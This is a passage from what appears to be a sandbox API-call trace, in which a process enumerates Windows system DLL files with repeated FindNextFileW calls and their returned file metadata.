ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0188.296] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0188.297] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0188.298] FindNextFileW (in: hFindFile=0x63fd00, 